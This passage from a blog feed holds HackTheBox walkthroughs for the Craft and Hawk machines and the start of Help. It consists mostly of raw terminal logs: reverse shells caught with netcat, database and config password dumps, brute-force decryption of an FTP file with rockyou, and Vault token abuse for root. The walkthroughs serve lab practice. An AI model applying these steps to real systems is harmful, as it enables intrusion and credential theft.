/usr/local/lib/python2.7/dist-packages/requests/packages/urllib3/connectionpool.py:789: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: h<br>
ttps://urllib3.readthedocs.org/en/latest/security.html<br>
InsecureRequestWarning)</p>
<!-- raw HTML omitted -->
<p>root@kali:~# ifconfig tun0 [161/161]<br>
tun0: flags=4305&lt;UP,POINTOPOINT,RUNNING,NOARP,MULTICAST&gt; mtu 1500<br>
inet 10.10.14.90 netmask 255.255.254.0 destination 10.10.14.90<br>
inet6 dead:beef:2::1058 prefixlen 64 scopeid 0x0<!-- raw HTML omitted --><br>
inet6 fe80::c7d0:a309:9c9:4cf prefixlen 64 scopeid 0x20<!-- raw HTML omitted --><br>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)<br>
RX packets 8007 bytes 6854024 (6.5 MiB)<br>
RX errors 0 dropped 0 overruns 0 frame 0<br>
TX packets 6960 bytes 467284 (456.3 KiB)<br>
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0</p>
<p>root@kali:~# nc -lnvp 1234<br>
listening on [any] 1234 &hellip;<br>
connect to [10.10.14.90] from (UNKNOWN) [10.10.10.110] 34871<br>
/bin/sh: can&rsquo;t access tty; job control turned off<br>
/opt/app # whoami<br>
root<br>
/opt/app # ls -alh /<br>
total 64<br>
drwxr-xr-x 1 root root 4.0K Feb 10 2019 .<br>
drwxr-xr-x 1 root root 4.0K Feb 10 2019 ..<br>
-rwxr-xr-x 1 root root 0 Feb 10 2019 .dockerenv<br>
drwxr-xr-x 1 root root 4.0K Feb 6 2019 bin<br>
drwxr-xr-x 5 root root 340 Jan 6 13:39 dev<br>
drwxr-xr-x 1 root root 4.0K Feb 10 2019 etc<br>
drwxr-xr-x 2 root root 4.0K Jan 30 2019 home<br>
drwxr-xr-x 1 root root 4.0K Feb 6 2019 lib<br>
drwxr-xr-x 5 root root 4.0K Jan 30 2019 media<br>
drwxr-xr-x 2 root root 4.0K Jan 30 2019 mnt<br>
drwxr-xr-x 1 root root 4.0K Feb 9 2019 opt<br>
dr-xr-xr-x 254 root root 0 Jan 6 13:39 proc<br>
drwx&mdash;&mdash; 1 root root 4.0K Jan 6 17:03 root<br>
drwxr-xr-x 2 root root 4.0K Jan 30 2019 run<br>
drwxr-xr-x 2 root root 4.0K Jan 30 2019 sbin<br>
drwxr-xr-x 2 root root 4.0K Jan 30 2019 srv<br>
dr-xr-xr-x 13 root root 0 Jan 6 13:39 sys<br>
drwxrwxrwt 1 root root 4.0K Jan 6 21:38 tmp<br>
drwxr-xr-x 1 root root 4.0K Feb 9 2019 usr<br>
drwxr-xr-x 1 root root 4.0K Jan 30 2019 var<br>
/opt/app # ls -alh<br>
total 44<br>
drwxr-xr-x 5 root root 4.0K Jan 6 21:18 .<br>
drwxr-xr-x 1 root root 4.0K Feb 9 2019 ..<br>
drwxr-xr-x 8 root root 4.0K Feb 8 2019 .git<br>
-rw-r&ndash;r&ndash; 1 root root 18 Feb 7 2019 .gitignore<br>
-rw-r&ndash;r&ndash; 1 root root 1.5K Feb 7 2019 app.py<br>
drwxr-xr-x 5 root root 4.0K Feb 7 2019 craft_api<br>
-rwxr-xr-x 1 root root 673 Feb 8 2019 dbtest.py<br>
-rwxr-xr-x 1 root root 673 Jan 6 21:18 dbtest2.py<br>
-rw-r&ndash;r&ndash; 1 root root 636 Jan 6 19:47 dbtestv1.py<br>
-rw-r&ndash;r&ndash; 1 root root 635 Jan 6 14:05 dbtestv2.py<br>
drwxr-xr-x 2 root root 4.0K Feb 7 2019 tests</p>
<p>/opt/app # cat dbtest.py #!/usr/bin/env python</p>
<p>import pymysql<br>
from craft_api import settings # test connection to mysql database connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,<br>
user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB,<br>
cursorclass=pymysql.cursors.DictCursor) try:<br>
with connection.cursor() as cursor: sql = &ldquo;SELECT <code>id</code>, <code>brewer</code>, <code>name</code>, <code>abv</code> FROM <code>brew</code> LIMIT 1&rdquo; cursor.execute(sql)<br>
result = cursor.fetchone() print(result)<br>
finally:<br>
connection.close()/opt/app # cp dbtest.py dbtestcopy.py</p>
<p>cat dbtest2.py<br>
#!/usr/bin/env python</p>
<p>import pymysql<br>
from craft_api import settings</p>
<h1 id="test-connection-to-mysql-database">test connection to mysql database</h1>
<p>connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,<br>
user=settings.MYSQL_DATABASE_USER,<br>
password=settings.MYSQL_DATABASE_PASSWORD,<br>
db=settings.MYSQL_DATABASE_DB,<br>
cursorclass=pymysql.cursors.DictCursor)</p>
<p>try:<br>
with connection.cursor() as cursor:<br>
sql = &ldquo;SELECT <code>id</code>, <code>brewer</code>, <code>name</code>, <code>abv</code> FROM <code>brew</code> LIMIT 1&rdquo;<br>
cursor.execute(sql)<br>
result = cursor.fetchone()<br>
print(result)</p>
<p>finally:<br>
connection.close()/opt/app # cat dbtestv1.py<br>
#!/usr/bin/env python</p>
<p>import pymysql<br>
from craft_api import settings</p>
<h1 id="test-connection-to-mysql-database-1">test connection to mysql database</h1>
<p>connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,<br>
user=settings.MYSQL_DATABASE_USER,<br>
password=settings.MYSQL_DATABASE_PASSWORD,<br>
db=settings.MYSQL_DATABASE_DB,<br>
cursorclass=pymysql.cursors.DictCursor)</p>
<p>try:<br>
with connection.cursor() as cursor:<br>
sql = &ldquo;SELECT * FROM user&rdquo;<br>
cursor.execute(sql)<br>
result = cursor.fetchall()<br>
print(result)</p>
<p>finally:<br>
connection.close()<br>
/opt/app # python dbtestv1.py<br>
[{&lsquo;id&rsquo;: 1, &lsquo;username&rsquo;: &lsquo;dinesh&rsquo;, &lsquo;password&rsquo;: &lsquo;4aUh0A8PbVJxgd&rsquo;}, {&lsquo;id&rsquo;: 4, &lsquo;username&rsquo;: &rsquo;ebachman&rsquo;, &lsquo;password&rsquo;: &rsquo;llJ77D8QFkLPQB&rsquo;}, {&lsquo;id&rsquo;: 5, &lsquo;username&rsquo;: &lsquo;gilfoyle&rsquo;, &lsquo;password&rsquo;: &lsquo;ZEU3N8WNM2rh4T&rsquo;}]</p>
<p>root@kali:<del># vim id_rsa<br>
root@kali:</del># chmod 600 id_rsa<br>
root@kali:~# ssh <a href="mailto:gilfoyle@10.10.10.110">gilfoyle@10.10.10.110</a> -i id_rsa</p>
<p>. * .. . * *</p>
<ul>
<li>
<ul>
<li>@()Ooc()* o .<br>
(Q@<em>0CG</em>O() ___<br>
|_<strong><strong><strong><strong>/|/ _ \<br>
| | | | | / | |<br>
| | | | | | | |<br>
| | | | | | | |<br>
| | | | | | | |<br>
| | | | | | | |<br>
| | | | | _| |<br>
| | | | |_</strong>/<br>
|_|</strong>|</strong>|_/|<br>
_</strong>______/</li>
</ul>
</li>
</ul>
<p>Enter passphrase for key &lsquo;id_rsa&rsquo;:<br>
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64</p>
<p>The programs included with the Debian GNU/Linux system are free software;<br>
the exact distribution terms for each program are described in the<br>
individual files in /usr/share/doc/*/copyright.</p>
<p>Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br>
permitted by applicable law.<br>
Last login: Mon Jan 6 14:53:11 2020 from 10.10.15.47<br>
gilfoyle@craft:<del>$ ls<br>
user.txt<br>
gilfoyle@craft:</del>$ cat user.txt<br>
bbf#########ZENSIERT#########2d4<br>
gilfoyle@craft:<del>$ clear<br>
gilfoyle@craft:</del>$ ls -alh<br>
total 44K<br>
drwx&mdash;&mdash; 6 gilfoyle gilfoyle 4.0K Jan 6 14:59 .<br>
drwxr-xr-x 3 root root 4.0K Feb 9 2019 ..<br>
-rw-r&ndash;r&ndash; 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc<br>
drwx&mdash;&mdash; 3 gilfoyle gilfoyle 4.0K Feb 9 2019 .config<br>
drwx&mdash;&mdash; 2 gilfoyle gilfoyle 4.0K Jan 6 12:45 .gnupg<br>
drwxr-xr-x 2 gilfoyle gilfoyle 4.0K Jan 6 12:20 .nano<br>
-rw-r&ndash;r&ndash; 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile<br>
drwx&mdash;&mdash; 2 gilfoyle gilfoyle 4.0K Feb 9 2019 .ssh<br>
-rw&mdash;&mdash;- 1 gilfoyle gilfoyle 36 Jan 6 15:00 .vault-token<br>
-rw&mdash;&mdash;- 1 gilfoyle gilfoyle 3.5K Jan 6 14:58 .viminfo<br>
-r&mdash;&mdash;&ndash; 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt<br>
gilfoyle@craft:~$ cat .vault-token<br>
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9</p>
<p>gilfoyle@craft:<del>$ vault token capabilities f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9<br>
root<br>
gilfoyle@craft:</del>$ vault login<br>
Token (will be hidden):<br>
Success! You are now authenticated. The token information displayed below<br>
is already stored in the token helper. You do NOT need to run &ldquo;vault login&rdquo;<br>
again. Future Vault requests will automatically use this token.</p>
<p>Key Value</p>
<hr>
<p>token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9<br>
token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103<br>
token_duration ∞<br>
token_renewable false<br>
token_policies [&ldquo;root&rdquo;]<br>
identity_policies []<br>
policies [&ldquo;root&rdquo;]<br>
gilfoyle@craft:~$ vault ssh -mode otp root@localhost<br>
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for<br>
authentication. In the future, you will need to tell Vault which role to use.<br>
For now, Vault will attempt to guess based on the API response. This will be<br>
removed in the Vault 1.1.<br>
Vault SSH: Role: &ldquo;root_otp&rdquo;<br>
Vault could not locate &ldquo;sshpass&rdquo;. The OTP code for the session is displayed<br>
below. Enter this code in the SSH password prompt. If you install sshpass,<br>
Vault can automatically perform this step for you.<br>
OTP for the session is: 3ed24235-8265-5927-dc3a-93b0d5ed2a8f</p>
<p>. * .. . * *</p>
<ul>
<li>
<ul>
<li>@()Ooc()* o .<br>
(Q@<em>0CG</em>O() ___<br>
|_<strong><strong><strong><strong>/|/ _ \<br>
| | | | | / | |<br>
| | | | | | | |<br>
| | | | | | | |<br>
| | | | | | | |<br>
| | | | | | | |<br>
| | | | | _| |<br>
| | | | |_</strong>/<br>
|_|</strong>|</strong>|_/|<br>
_</strong>______/</li>
</ul>
</li>
</ul>
<p>Password:<br>
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64</p>
<p>The programs included with the Debian GNU/Linux system are free software;<br>
the exact distribution terms for each program are described in the<br>
individual files in /usr/share/doc/*/copyright.</p>
<p>Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br>
permitted by applicable law.<br>
Last login: Mon Jan 6 15:02:08 2020 from 127.0.0.1<br>
root@craft:<del># cat /root/root.txt<br>
831#########ZENSIERT#########591<br>
root@craft:</del>#</p>
]]></content></item><item><title>HackTheBox - Hawk</title><link>https://m10x.de/posts/2010/01/hackthebox-hawk/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-hawk/</guid><description>root@kali:~# nmap -sV -sC 10.10.10.102
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-04 13:10 CET
Nmap scan report for 10.10.10.102
Host is up (0.019s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 messages
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.118</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>root@kali:~# nmap -sV -sC 10.10.10.102<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-12-04 13:10 CET<br>
Nmap scan report for 10.10.10.102<br>
Host is up (0.019s latency).<br>
Not shown: 996 closed ports<br>
PORT STATE SERVICE VERSION<br>
21/tcp open ftp vsftpd 3.0.3<br>
| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>
|_drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 messages<br>
| ftp-syst:<br>
| STAT:<br>
| FTP server status:<br>
| Connected to ::ffff:10.10.14.118<br>
| Logged in as ftp<br>
| TYPE: ASCII<br>
| No session bandwidth limit<br>
| Session timeout in seconds is 300<br>
| Control connection is plain text<br>
| Data connections will be plain text<br>
| At session startup, client count was 3<br>
| vsFTPd 3.0.3 - secure, fast, stable<br>
|<em>End of status<br>
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)<br>
| ssh-hostkey:<br>
| 2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA)<br>
| 256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA)<br>
|</em> 256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519)<br>
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>
|<em>http-generator: Drupal 7 (<a href="http://drupal.org">http://drupal.org</a>)<br>
| http-robots.txt: 36 disallowed entries (15 shown)<br>
| /includes/ /misc/ /modules/ /profiles/ /scripts/<br>
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt<br>
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt<br>
|</em>/LICENSE.txt /MAINTAINERS.txt<br>
|_http-server-header: Apache/2.4.29 (Ubuntu)<br>
|_http-title: Welcome to 192.168.56.103 | 192.168.56.103<br>
8082/tcp open http H2 database http console<br>
|_http-title: H2 Console<br>
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 20.31 seconds</p>
<p>root@kali:~# ftp 10.10.10.102<br>
Connected to 10.10.10.102.<br>
220 (vsFTPd 3.0.3)<br>
Name (10.10.10.102:root): anonymous<br>
230 Login successful.<br>
Remote system type is UNIX.<br>
Using binary mode to transfer files.<br>
ftp&gt; ls -la<br>
200 PORT command successful. Consider using PASV.<br>
150 Here comes the directory listing.<br>
drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 .<br>
drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 ..<br>
drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 messages<br>
226 Directory send OK.<br>
ftp&gt; cd messages<br>
250 Directory successfully changed.<br>
ftp&gt; ls -la<br>
200 PORT command successful. Consider using PASV.<br>
150 Here comes the directory listing.<br>
drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 .<br>
drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 ..<br>
-rw-r&ndash;r&ndash; 1 ftp ftp 240 Jun 16 22:21 .drupal.txt.enc<br>
226 Directory send OK.<br>
ftp&gt; get .drupal.txt.enc<br>
local: .drupal.txt.enc remote: .drupal.txt.enc<br>
200 PORT command successful. Consider using PASV.<br>
150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes).<br>
226 Transfer complete.<br>
240 bytes received in 0.00 secs (1.3543 MB/s)<br>
ftp&gt; exit<br>
221 Goodbye.</p>
<p>root@kali:<del># file .drupal.txt.enc<br>
.drupal.txt.enc: openssl enc&rsquo;d data with salted password, base64 encoded<br>
root@kali:</del># cat .drupal.txt.enc<br>
U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb<br>
CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz<br>
QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy<br>
t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=<br>
root@kali:<del># cat .drupal.txt.enc | base64 -d &gt; drupal.txt.enc<br>
root@kali:</del># cat drupal.txt.enc<br>
Salted__kY ԓi-6l7Z&gt;{$p5 2[<br>
8?sWj#T$3AG,f Z\ja&raquo;G6<br>
.EÐVV@ɗ4@wxZNiPtF`)root@kali:~# bruteforce-salted-openssl -f /usr/share/wordlists/rockyou.txt -t 8 -d SHA256 -v 10 drupal.txt.enc<br>
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.</p>
<p>Tried passwords: 52<br>
Tried passwords per second: inf<br>
Last tried password: oliver</p>
<p>Password candidate: friends<br>
Tried passwords: 6526714<br>
Tried passwords per second: 543892,833333<br>
Last tried password: kkfan2004</p>
<p>Tried passwords: 13014509<br>
Tried passwords per second: 591568,590909<br>
Last tried password: 1haven0one</p>
<p>root@kali:<del># openssl enc -aes-256-cbc -d -in drupal.txt.enc -out file.txt<br>
enter aes-256-cbc decryption password:<br>
*** WARNING : deprecated key derivation used.<br>
Using -iter or -pbkdf2 would be better.<br>
root@kali:</del># cat file.txt<br>
Daniel,</p>
<p>Following the password for the portal:</p>
<p>PencilKeyboardScanner123</p>
<p>Please let us know when the portal is ready.</p>
<p>Kind Regards,</p>
<p>IT department</p>
<p>root@kali:~# nc -lnvp 1337<br>
listening on [any] 1337 &hellip;<br>
connect to [10.10.14.118] from (UNKNOWN) [10.10.10.102] 40208<br>
bash: cannot set terminal process group (906): Inappropriate ioctl for device<br>
bash: no job control in this shell<br>
www-data@hawk:/var/www/html$ ls -lha<br>
ls -lha<br>
total 296K<br>
drwxr-xr-x 9 root root 4.0K Jun 11 16:08 .<br>
drwxr-xr-x 3 root root 4.0K Jun 11 14:53 ..<br>
-rw-r&ndash;r&ndash; 1 www-data www-data 6.0K Jun 11 15:49 .htaccess<br>
-rwxr-x&mdash; 1 www-data www-data 110K Jun 11 16:08 CHANGELOG.txt<br>
-rwxr-x&mdash; 1 www-data www-data 1.5K Jun 11 16:08 COPYRIGHT.txt<br>
-rwxr-x&mdash; 1 www-data www-data 1.7K Jun 11 16:08 INSTALL.mysql.txt<br>
-rwxr-x&mdash; 1 www-data www-data 1.9K Jun 11 16:08 INSTALL.pgsql.txt<br>
-rwxr-x&mdash; 1 www-data www-data 1.3K Jun 11 16:08 INSTALL.sqlite.txt<br>
-rwxr-x&mdash; 1 www-data www-data 18K Jun 11 16:08 INSTALL.txt<br>
-rwxr-x&mdash; 1 www-data www-data 18K Jun 11 16:08 LICENSE.txt<br>
-rwxr-x&mdash; 1 www-data www-data 8.6K Jun 11 16:08 MAINTAINERS.txt<br>
-rwxr-x&mdash; 1 www-data www-data 5.3K Jun 11 16:08 README.txt<br>
-rwxr-x&mdash; 1 www-data www-data 9.9K Jun 11 16:08 UPGRADE.txt<br>
-rwxr-x&mdash; 1 www-data www-data 6.5K Jun 11 16:08 authorize.php<br>
-rwxr-x&mdash; 1 www-data www-data 720 Jun 11 16:08 cron.php<br>
drwxr-x&mdash; 4 www-data www-data 4.0K Jun 11 16:08 includes<br>
-rwxr-x&mdash; 1 www-data www-data 529 Jun 11 16:08 index.php<br>
-rwxr-x&mdash; 1 www-data www-data 703 Jun 11 16:08 install.php<br>
drwxr-x&mdash; 4 www-data www-data 4.0K Jun 11 16:08 misc<br>
drwxr-x&mdash; 42 www-data www-data 4.0K Jun 11 16:08 modules<br>
drwxr-x&mdash; 5 www-data www-data 4.0K Jun 11 16:08 profiles<br>
-rwxr-x&mdash; 1 www-data www-data 2.2K Jun 11 16:08 robots.txt<br>
drwxr-x&mdash; 2 www-data www-data 4.0K Jun 11 16:08 scripts<br>
drwxr-x&mdash; 4 www-data www-data 4.0K Jun 11 16:08 sites<br>
drwxr-x&mdash; 7 www-data www-data 4.0K Jun 11 16:08 themes<br>
-rwxr-x&mdash; 1 www-data www-data 20K Jun 11 16:08 update.php<br>
-rwxr-x&mdash; 1 www-data www-data 2.2K Jun 11 16:08 web.config<br>
-rwxr-x&mdash; 1 www-data www-data 417 Jun 11 16:08 xmlrpc.php<br>
www-data@hawk:/var/www/html$ cd sites<br>
cd sites</p>
<p>www-data@hawk:/var/www/html/sites$ ls -lha<br>
ls -lha<br>
total 24K<br>
drwxr-x&mdash; 4 www-data www-data 4.0K Jun 11 16:08 .<br>
drwxr-xr-x 9 root root 4.0K Jun 11 16:08 ..<br>
-rwxr-x&mdash; 1 www-data www-data 904 Jun 11 16:08 README.txt<br>
drwxr-x&mdash; 5 www-data www-data 4.0K Jun 11 16:08 all<br>
dr-xr-x&mdash; 3 www-data www-data 4.0K Jun 11 16:08 default<br>
-rwxr-x&mdash; 1 www-data www-data 2.4K Jun 11 16:08 example.sites.php<br>
www-data@hawk:/var/www/html/sites$ cd default<br>
cd default<br>
www-data@hawk:/var/www/html/sites/default$ ls -lha<br>
ls -lha<br>
total 68K<br>
dr-xr-x&mdash; 3 www-data www-data 4.0K Jun 11 16:08 .<br>
drwxr-x&mdash; 4 www-data www-data 4.0K Jun 11 16:08 ..<br>
-rwxr-x&mdash; 1 www-data www-data 26K Jun 11 16:08 default.settings.php<br>
drwxrwxr-x 4 www-data www-data 4.0K Dec 4 11:16 files<br>
-r&ndash;r&ndash;r&ndash; 1 www-data www-data 26K Jun 11 16:09 settings.php<br>
www-data@hawk:/var/www/html/sites/default$ cat settings.php | grep password<br>
cat settings.php | grep password</p>
<ul>
<li>&lsquo;password&rsquo; =&gt; &lsquo;password&rsquo;,</li>
<li>username, password, host, and database name.</li>
<li>&lsquo;password&rsquo; =&gt; &lsquo;password&rsquo;,</li>
<li>&lsquo;password&rsquo; =&gt; &lsquo;password&rsquo;,</li>
<li>&lsquo;password&rsquo; =&gt; &lsquo;password&rsquo;,</li>
<li>&lsquo;password&rsquo; =&gt; &lsquo;password&rsquo;,<br>
&lsquo;password&rsquo; =&gt; &lsquo;drupal4hawk&rsquo;,</li>
<li>by using the username and password variables. The proxy_user_agent variable</li>
</ul>
<h1 id="confproxy_password--">$conf[&lsquo;proxy_password&rsquo;] = &lsquo;&rsquo;;</h1>
<p>root@kali:~# ssh <a href="mailto:daniel@10.10.10.102">daniel@10.10.10.102</a> [93/858]<br>
<a href="mailto:daniel@10.10.10.102">daniel@10.10.10.102</a>&rsquo;s password:<br>
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-23-generic x86_64)</p>
<ul>
<li>Documentation: <a href="https://help.ubuntu.com">https://help.ubuntu.com</a></li>
<li>Management: <a href="https://landscape.canonical.com">https://landscape.canonical.com</a></li>
<li>Support: <a href="https://ubuntu.com/advantage">https://ubuntu.com/advantage</a></li>
</ul>
<p>System information as of Tue Dec 4 12:39:54 UTC 2018</p>
<p>System load: 0.08 Processes: 122<br>
Usage of /: 54.1% of 9.78GB Users logged in: 1<br>
Memory usage: 54% IP address for ens33: 10.10.10.102<br>
Swap usage: 0%</p>
<ul>
<li>Meltdown, Spectre and Ubuntu: What are the attack vectors,<br>
how the fixes work, and everything else you need to know</li>
</ul>
<ul>
<li><a href="https://ubu.one/u2Know">https://ubu.one/u2Know</a></li>
</ul>
<ul>
<li>Canonical Livepatch is available for installation.</li>
</ul>
<ul>
<li>Reduce system reboots and improve kernel security. Activate at:<br>
<a href="https://ubuntu.com/livepatch">https://ubuntu.com/livepatch</a></li>
</ul>
<p>55 packages can be updated.<br>
3 updates are security updates.</p>
<p>Failed to connect to <a href="https://changelogs.ubuntu.com/meta-release-lts">https://changelogs.ubuntu.com/meta-release-lts</a>. Check your Internet connection or proxy settings</p>
<p>Last login: Tue Dec 4 12:39:17 2018 from 10.10.13.22<br>
Python 3.6.5 (default, Apr 1 2018, 05:46:30)<br>
[GCC 7.3.0] on linux<br>
Type &ldquo;help&rdquo;, &ldquo;copyright&rdquo;, &ldquo;credits&rdquo; or &ldquo;license&rdquo; for more information.</p>
<blockquote>
<blockquote>
<blockquote>
<p>import pty<br>
pty.spawn(&quot;/bin/bash&quot;)<br>
daniel@hawk:<del>$ cat /home/daniel/user.txt<br>
d51##########################2a8<br>
daniel@hawk:</del>$ ps aux | grep h2<br>
root 775 0.0 0.0 4628 784 ? Ss 12:32 0:00 /bin/sh -c /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar<br>
root 776 4.8 12.7 2360324 125624 ? Sl 12:32 0:23 /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar<br>
daniel 2355 0.0 0.1 13108 1100 pts/3 S+ 12:40 0:00 grep h2</p>
</blockquote>
</blockquote>
</blockquote>
<p>daniel@hawk:~$ exit<br>
exit<br>
32512</p>
<blockquote>
<blockquote>
<blockquote>
<p>exit()<br>
Connection to 10.10.10.102 closed.</p>
</blockquote>
</blockquote>
</blockquote>
<p>root@kali:~# ssh -L 8000:localhost:8082 <a href="mailto:daniel@10.10.10.102">daniel@10.10.10.102</a><br>
<a href="mailto:daniel@10.10.10.102">daniel@10.10.10.102</a>&rsquo;s password:<br>
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-23-generic x86_64)</p>
<ul>
<li>Documentation: <a href="https://help.ubuntu.com">https://help.ubuntu.com</a></li>
<li>Management: <a href="https://landscape.canonical.com">https://landscape.canonical.com</a></li>
<li>Support: <a href="https://ubuntu.com/advantage">https://ubuntu.com/advantage</a></li>
</ul>
<p>System information as of Tue Dec 4 12:42:16 UTC 2018</p>
<p>System load: 0.08 Processes: 128<br>
Usage of /: 54.1% of 9.78GB Users logged in: 1<br>
Memory usage: 55% IP address for ens33: 10.10.10.102<br>
Swap usage: 0%</p>
<ul>
<li>Meltdown, Spectre and Ubuntu: What are the attack vectors,<br>
how the fixes work, and everything else you need to know</li>
</ul>
<ul>
<li><a href="https://ubu.one/u2Know">https://ubu.one/u2Know</a></li>
</ul>
<ul>
<li>Canonical Livepatch is available for installation.</li>
</ul>
<ul>
<li>Reduce system reboots and improve kernel security. Activate at:<br>
<a href="https://ubuntu.com/livepatch">https://ubuntu.com/livepatch</a></li>
</ul>
<p>55 packages can be updated.<br>
3 updates are security updates.</p>
<p>Failed to connect to <a href="https://changelogs.ubuntu.com/meta-release-lts">https://changelogs.ubuntu.com/meta-release-lts</a>. Check your Internet connection or proxy settings</p>
<p>Last login: Tue Dec 4 12:41:21 2018 from 10.10.14.118<br>
Python 3.6.5 (default, Apr 1 2018, 05:46:30)<br>
[GCC 7.3.0] on linux<br>
Type &ldquo;help&rdquo;, &ldquo;copyright&rdquo;, &ldquo;credits&rdquo; or &ldquo;license&rdquo; for more information.</p>
<p>Broadcast message from root@hawk (somewhere) (Tue Dec 4 12:49:14 2018):</p>
<p>got it</p>
]]></content></item><item><title>HackTheBox - Help</title><link>https://m10x.de/posts/2010/01/hackthebox-help/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-help/</guid><description>root@kali:~# nmap -sV -sC 10.10.10.121
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-10 14:02 CEST
Nmap scan report for 10.10.10.121
Host is up (0.027s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c&amp;#x1f1e9;&amp;#x1f1ea;af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>root@kali:~# nmap -sV -sC 10.10.10.121<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2019-06-10 14:02 CEST<br>
Nmap scan report for 10.10.10.121<br>
Host is up (0.027s latency).<br>
Not shown: 997 closed ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)<br>
| ssh-hostkey:<br>
| 2048 e5:bb:4d:9c&#x1f1e9;&#x1f1ea;af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)<br>
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)<br>
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)<br>
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>
|_http-server-header: Apache/2.4.18 (Ubuntu)<br>
|_http-title: Apache2 Ubuntu Default Page: It works<br>
3000/tcp open http Node.js Express framework<br>
|_http-title: Site doesn&rsquo;t have a title (application/json; charset=utf-8).<br>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</p>
